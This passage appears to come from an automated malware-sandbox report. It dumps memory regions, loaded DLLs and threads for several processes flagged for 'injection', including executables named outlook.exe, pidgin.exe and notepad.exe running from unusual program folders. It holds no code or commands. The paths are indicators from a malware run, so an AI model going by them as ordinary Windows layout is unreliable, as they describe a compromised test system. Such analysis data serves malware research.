end_va = 0x7eecffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007edd0000" filename = "" Region: id = 4269 start_va = 0x7eed0000 end_va = 0x7eef2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007eed0000" filename = "" Region: id = 4270 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4271 start_va = 0x7fff0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 4272 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4273 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Region: id = 4380 start_va = 0x9b0000 end_va = 0x9b3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009b0000" filename = "" Region: id = 4381 start_va = 0x9c0000 end_va = 0x9c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009c0000" filename = "" Region: id = 4382 start_va = 0x77180000 end_va = 0x7720cfff monitored = 0 entry_point = 0x771c9b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 4383 start_va = 0x1c0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 4384 start_va = 0x530000 end_va = 0x62ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 4385 start_va = 0x9d0000 end_va = 0x9d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009d0000" filename = "" Region: id = 4386 start_va = 0x75410000 end_va = 0x7541bfff monitored = 0 entry_point = 0x75413930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 4387 start_va = 0x9e0000 end_va = 0x9e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009e0000" filename = "" Region: id = 4388 start_va = 0xcd0000 end_va = 0xd4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000cd0000" filename = "" Region: id = 4389 start_va = 0xec0000 end_va = 0x11f6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 221 os_tid = 0xf1c Thread: id = 222 os_tid = 0xf10 Thread: id = 368 os_tid = 0xc64 Process: id = "40" image_name = "outlook.exe" filename = "c:\\program files\\internet explorer\\outlook.exe" page_root = "0x6aa12000" os_pid = "0xef4" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "12" os_parent_pid = "0x678" cmd_line = "\"C:\\Program Files\\Internet Explorer\\outlook.exe\" " cur_dir = "C:\\Program Files\\Internet Explorer\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4322 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4323 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 4324 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4325 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 4326 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 4327 start_va = 0x190000 end_va = 0x193fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 4328 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 4329 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 4330 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 4331 start_va = 0x400000 end_va = 0x4bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4332 start_va = 0x4c0000 end_va = 0x4c3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 4333 start_va = 0x4d0000 end_va = 0x4d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 4334 start_va = 0x4e0000 end_va = 0x4e3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004e0000" filename = "" Region: id = 4335 start_va = 0x550000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 4336 start_va = 0x580000 end_va = 0x58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 4337 start_va = 0x6c0000 end_va = 0x7bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006c0000" filename = "" Region: id = 4338 start_va = 0x7c0000 end_va = 0x947fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007c0000" filename = "" Region: id = 4339 start_va = 0x950000 end_va = 0xa0bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 4340 start_va = 0xaa0000 end_va = 0xab6fff monitored = 0 entry_point = 0xaa14a1 region_type = mapped_file name = "outlook.exe" filename = "\\Program Files\\Internet Explorer\\outlook.exe" (normalized: "c:\\program files\\internet explorer\\outlook.exe") Region: id = 4341 start_va = 0xac0000 end_va = 0xc40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ac0000" filename = "" Region: id = 4342 start_va = 0xc50000 end_va = 0x204ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c50000" filename = "" Region: id = 4343 start_va = 0x2210000 end_va = 0x221ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002210000" filename = "" Region: id = 4344 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 4345 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 4346 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 4347 start_va = 0x73e00000 end_va = 0x73e1cfff monitored = 0 entry_point = 0x73e03b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 4348 start_va = 0x73e20000 end_va = 0x73e94fff monitored = 0 entry_point = 0x73e59a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 4349 start_va = 0x73ea0000 end_va = 0x73f31fff monitored = 0 entry_point = 0x73ee0380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 4350 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 4351 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 4352 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 4353 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 4354 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 4355 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 4356 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 4357 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 4358 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 4359 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 4360 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 4361 start_va = 0x75b80000 end_va = 0x75c9efff monitored = 0 entry_point = 0x75bc5980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 4362 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 4363 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 4364 start_va = 0x7ef20000 end_va = 0x7f01ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ef20000" filename = "" Region: id = 4365 start_va = 0x7f020000 end_va = 0x7f042fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f020000" filename = "" Region: id = 4366 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4367 start_va = 0x7fff0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 4368 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4369 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Region: id = 4397 start_va = 0x4f0000 end_va = 0x4f3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004f0000" filename = "" Region: id = 4398 start_va = 0x500000 end_va = 0x500fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000500000" filename = "" Region: id = 4399 start_va = 0x77180000 end_va = 0x7720cfff monitored = 0 entry_point = 0x771c9b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 4400 start_va = 0x1c0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 4401 start_va = 0x590000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000590000" filename = "" Region: id = 4402 start_va = 0x510000 end_va = 0x510fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000510000" filename = "" Region: id = 4403 start_va = 0x75410000 end_va = 0x7541bfff monitored = 0 entry_point = 0x75413930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 4404 start_va = 0x520000 end_va = 0x520fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000520000" filename = "" Region: id = 4405 start_va = 0xa10000 end_va = 0xa8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a10000" filename = "" Region: id = 4406 start_va = 0x2220000 end_va = 0x2556fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 223 os_tid = 0xf04 Thread: id = 224 os_tid = 0xef8 Thread: id = 370 os_tid = 0x9a8 Process: id = "41" image_name = "pidgin.exe" filename = "c:\\program files (x86)\\windows mail\\pidgin.exe" page_root = "0x6bb44000" os_pid = "0xefc" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "12" os_parent_pid = "0x678" cmd_line = "\"C:\\Program Files (x86)\\Windows Mail\\pidgin.exe\" " cur_dir = "C:\\Program Files (x86)\\Windows Mail\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4274 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4275 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 4276 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4277 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 4278 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 4279 start_va = 0x190000 end_va = 0x193fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 4280 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 4281 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 4282 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 4283 start_va = 0x400000 end_va = 0x4bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4284 start_va = 0x4c0000 end_va = 0x4c3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 4285 start_va = 0x4d0000 end_va = 0x4d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 4286 start_va = 0x4e0000 end_va = 0x4e3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004e0000" filename = "" Region: id = 4287 start_va = 0x520000 end_va = 0x52ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 4288 start_va = 0x5b0000 end_va = 0x6affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005b0000" filename = "" Region: id = 4289 start_va = 0x7b0000 end_va = 0x937fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007b0000" filename = "" Region: id = 4290 start_va = 0x940000 end_va = 0xac0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000940000" filename = "" Region: id = 4291 start_va = 0xad0000 end_va = 0xb8bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ad0000" filename = "" Region: id = 4292 start_va = 0xc40000 end_va = 0xc4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c40000" filename = "" Region: id = 4293 start_va = 0xc60000 end_va = 0xc6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c60000" filename = "" Region: id = 4294 start_va = 0x1030000 end_va = 0x1046fff monitored = 0 entry_point = 0x10314a1 region_type = mapped_file name = "pidgin.exe" filename = "\\Program Files (x86)\\Windows Mail\\pidgin.exe" (normalized: "c:\\program files (x86)\\windows mail\\pidgin.exe") Region: id = 4295 start_va = 0x1050000 end_va = 0x244ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001050000" filename = "" Region: id = 4296 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 4297 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 4298 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 4299 start_va = 0x73e00000 end_va = 0x73e1cfff monitored = 0 entry_point = 0x73e03b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 4300 start_va = 0x73e20000 end_va = 0x73e94fff monitored = 0 entry_point = 0x73e59a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 4301 start_va = 0x73ea0000 end_va = 0x73f31fff monitored = 0 entry_point = 0x73ee0380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 4302 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 4303 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 4304 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 4305 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 4306 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 4307 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 4308 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 4309 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 4310 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 4311 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 4312 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 4313 start_va = 0x75b80000 end_va = 0x75c9efff monitored = 0 entry_point = 0x75bc5980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 4314 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 4315 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 4316 start_va = 0x7e9b0000 end_va = 0x7eaaffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007e9b0000" filename = "" Region: id = 4317 start_va = 0x7eab0000 end_va = 0x7ead2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007eab0000" filename = "" Region: id = 4318 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4319 start_va = 0x7fff0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 4320 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4321 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Region: id = 4370 start_va = 0x4f0000 end_va = 0x4f3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004f0000" filename = "" Region: id = 4371 start_va = 0x500000 end_va = 0x500fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000500000" filename = "" Region: id = 4372 start_va = 0x77180000 end_va = 0x7720cfff monitored = 0 entry_point = 0x771c9b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 4373 start_va = 0x1c0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 4374 start_va = 0x6b0000 end_va = 0x7affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006b0000" filename = "" Region: id = 4375 start_va = 0x510000 end_va = 0x510fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000510000" filename = "" Region: id = 4376 start_va = 0x75410000 end_va = 0x7541bfff monitored = 0 entry_point = 0x75413930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 4377 start_va = 0x530000 end_va = 0x530fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000530000" filename = "" Region: id = 4378 start_va = 0x530000 end_va = 0x5affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 4379 start_va = 0xc70000 end_va = 0xfa6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 225 os_tid = 0xf08 Thread: id = 226 os_tid = 0xf00 Thread: id = 367 os_tid = 0xd44 Process: id = "42" image_name = "notepad.exe" filename = "c:\\program files (x86)\\microsoft analysis services\\notepad.exe" page_root = "0x747fe000" os_pid = "0xedc" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "12" os_parent_pid = "0x678" cmd_line = "\"C:\\Program Files (x86)\\Microsoft Analysis Services\\notepad.exe\" " cur_dir = "C:\\Program Files (x86)\\Microsoft Analysis Services\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4462 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4463 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 4464 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = 